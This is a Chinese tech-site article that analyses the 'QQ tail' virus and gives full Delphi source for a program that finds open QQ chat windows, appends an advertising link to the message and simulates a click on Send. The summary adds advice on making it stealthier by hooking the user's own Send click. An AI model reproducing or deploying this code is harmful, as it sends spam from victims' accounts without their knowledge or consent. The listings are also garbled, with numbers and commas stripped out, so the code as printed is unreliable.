网络安全

位置:IT落伍者 >> 网络安全 >> 浏览文章

QQ尾巴病毒的发送原理分析


发布日期:2018年04月02日
 
QQ尾巴病毒的发送原理分析
近来QQ尾巴病毒大肆发作我也经常收到网友们发来的带尾巴的消息于是好奇心一来我也来研究研究此病毒的发作原理首先我不知道QQ尾巴病毒真正的原理我只是猜测并且自己写了一个类似的程序来实现它

QQ尾巴的发作情况当用户打开一个QQ消息发送窗口时病毒会自动往消息文本框里输入文本然后不等用户反应过来就发出去了

程序实现首先要找到QQ消息发送窗口的句柄以及消息文本框与发送按钮的窗口句柄

如何找到QQ消息发送窗口句柄

QQ消息发送窗口有两种一种是消息模式在这种情况下窗口标题含有发送消息字样一种是聊天模式窗口标题含有聊天中字样

通过枚举窗口就可找到相应的句柄

// 取得QQ的发送消息窗口

function GetQQWnd: HWND;

var

hCurrentWindow: HWnd;

WndText:String;

begin

hCurrentWindow := GetWindow(ApplicationHandle GW_HWNDFIRST);

while hCurrentWindow <> do

begin

WndText:=GetWndText(hCurrentWindow);

if (Pos(聊天中WndText)>) or (Pos(发送消息WndText)>) then

begin

Result:=hCurrentWindow;

Exit;

end;

hCurrentWindow := GetWindow(hCurrentWindow GW_HWNDNEXT);

end;

Result:=;

end;

如何找到发送按钮窗口句柄

找到了QQ的发送消息窗口后就可以进一步查找发送按钮句柄了如窗口句柄为qqWnd则可以用一个循环查找文本中含有发送字样的窗口经过试验发现发送按钮恰恰是窗体的第一个子窗口这样可以用

btnWnd:=GetDlgItem(qqWnd); // 发送按钮

来获得发送按钮的句柄

如何找到消息文本框窗口句柄

消息文本框并不好找不过你可以先在消息文本框中输入几个字母abcd这样我们就可以用上述方法来查找了不过通过实验后发现消息文本框并不是QQ窗口的直接子窗口而是其中一个子窗口的子窗口通过实验可以用

txtWnd:=GetWindow(GetDlgItem(qqWnd)GW_CHILD); // 文本框

来获得

如何获得原消息文本框的文本

要获取原消息文本框的文本只需要一个API函数就行了如下

// 获得窗口文本

function GetWndText(hWnd: HWND): String;

Var

Ret:LongInt;

mText:PChar;

Buf:Integer;

begin

Ret:=SendMessage(hWndWM_GETTEXTLENGTH)+;

GetMem(mTextRet);

try

Buf:=LongInt(mText);

SendMessage(hWndWM_GETTEXTRetBuf);

Result:=StrPas(mText);

finally

FreeMem(mTextRet);

end;

end;

如何住原消息文本框里追加文本

与取文本相反

// 发送文本到窗口

procedure SetWndText(hWnd: HWND; Text: String);

Var

Ret:LongInt;

mText:PChar;

Buf:Integer;

begin

GetMem(mTextLength(Text));

StrCopy(mTextPChar(Text));

try

Buf:=LongInt(mText);

SendMessage(hWndWM_SETTEXTBuf);

finally

FreeMem(mTextLength(Text));

end;

end;

如果让发送按钮自动点击

一切都准备好了现在要开始发送了为了让消息自动发送我们可以模拟发送按钮被点击了

SendMessage(btnWndWM_LBUTTONDOWNMK_LBUTTON);

SendMessage(btnWndWM_LBUTTONUP);

通过模拟一个鼠标在开始按钮上的按下与放开就实现了点击发送功能

其它的定时功能比较简单在此也不多说了

全部源代码如下

unit Unit;

interface

uses

Windows Messages SysUtils Variants Classes Graphics Controls Forms

Dialogs StdCtrls ExtCtrls;

type

TForm = class(TForm)

Timer: TTimer;

Button: TButton;

Edit: TEdit;

Label: TLabel;

Button: TButton;

procedure TimerTimer(Sender: TObject);

procedure ButtonClick(Sender: TObject);

procedure ButtonClick(Sender: TObject);

private

{ Private declarations }

public

{ Public declarations }

end;

var

Form: TForm;

implementation

{$R *dfm}

// 获得窗口文本

function GetWndText(hWnd: HWND): String;

Var

Ret:LongInt;

mText:PChar;

Buf:Integer;

begin

Ret:=SendMessage(hWndWM_GETTEXTLENGTH)+;

GetMem(mTextRet);

try

Buf:=LongInt(mText);

SendMessage(hWndWM_GETTEXTRetBuf);

Result:=StrPas(mText);

finally

FreeMem(mTextRet);

end;

end;

// 发送文本到窗口

procedure SetWndText(hWnd: HWND; Text: String);

Var

Ret:LongInt;

mText:PChar;

Buf:Integer;

begin

GetMem(mTextLength(Text));

StrCopy(mTextPChar(Text));

try

Buf:=LongInt(mText);

SendMessage(hWndWM_SETTEXTBuf);

finally

FreeMem(mTextLength(Text));

end;

end;

// 取得QQ的发送消息窗口

function GetQQWnd: HWND;

var

hCurrentWindow: HWnd;

WndText:String;

begin

hCurrentWindow := GetWindow(ApplicationHandle GW_HWNDFIRST);

while hCurrentWindow <> do

begin

WndText:=GetWndText(hCurrentWindow);

if (Pos(聊天中WndText)>) or (Pos(发送消息WndText)>) then

begin

Result:=hCurrentWindow;

Exit;

end;

hCurrentWindow := GetWindow(hCurrentWindow GW_HWNDNEXT);

end;

Result:=;

end;

// 定时处理

procedure TimerProc;

var

qqWndtxtWndbtnWnd:HWND;

Msg:String;

begin

qqWnd:=GetQQWnd;

if qqWnd= then Exit;

btnWnd:=GetDlgItem(qqWnd); // 发送按钮

txtWnd:=GetWindow(GetDlgItem(qqWnd)GW_CHILD); // 文本框

if (btnWnd=) or (txtWnd=) then Exit;

Msg:=GetWndText(txtWnd);

Msg:=Msg+#+#+欢迎光临绿荫网络http://wwwlvyinnet;

SetWndText(txtWndMsg);

SendMessage(btnWndWM_LBUTTONDOWNMK_LBUTTON);

SendMessage(btnWndWM_LBUTTONUP);

end;

procedure TFormTimerTimer(Sender: TObject);

begin

TimerProc;

end;

procedure TFormButtonClick(Sender: TObject);

begin

TimerEnabled :=not TimerEnabled;

if TimerEnabled then

ButtonCaption :=停 止

else

ButtonCaption :=开 始;

end;

procedure TFormButtonClick(Sender: TObject);

begin

TimerInterval :=StrToInt(EditText);

end;

end

总结

上面只讲述了QQ消息自动发送的主要功能这或许跟QQ尾巴的原理不同(我也不知道)但总体上应该差不多如果要做到让用户感觉不到异常就要改一下了不要自动发送而是在当用户点击了发送按钮后再把文本加进去这样的话可拦截发送按钮的点击消息然后再用上述方法把文本加进去然后把消息交还原程序处理至于如何让它成为病毒会自我复制自我隐藏等功能那又是另外一个话题了在此就不多讲了

此文只作技术研讨之用希望大家不要拿它来捣蛋如有产生后果本人概不负责欢迎大家来信探讨

上一篇:上网助手之木马查杀测试版火热试用

下一篇:DMR通信协议与数字对讲机基带模块设计